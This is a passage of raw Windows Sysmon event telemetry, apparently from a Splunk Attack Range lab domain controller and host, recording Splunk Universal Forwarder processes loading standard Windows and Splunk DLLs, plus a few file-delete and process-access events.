SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000055851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.031{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=228B14677E3F16E3C69D5702E8E58E9B,SHA256=A00BF9174DD203EF19D128B5B8BD21D5350F7B5ED68A7ED840BCFE5655399BB3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000055850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.999{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 23542300x800000000000000055962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.679{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7926A2263635DB489B753892E96B40E1,SHA256=EBECCC4E03F47ED9818B89F651CF735994120F0926B27A2A0B55905F5B70BF9E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000055961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.645{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000055960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.645{7BD73061-74A7-613B-A00B-00000000F001}58566484C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.645{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.645{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000055957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.629{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0346C7647245435BDAE00272BDF35F1A,SHA256=3D444310A2A4BBE6B06E5EF4E3672759CA39A5FC3186B4FFD83E912D78EAAD84,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.598{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E80D8D4F49D9F2B75D8D2FCFC99ABAA8,SHA256=BDE371308517486F4825D609124F37A563723AD8F2A1C4C7507F8432C98448D5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017924Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:19.732{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ABACDDC19638A12357622AA2FF3F107A,SHA256=D064B1997F1FB21C83E771679015C31678B0554A6D65C045E6E1EE5231236F82,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.430{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.414{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program 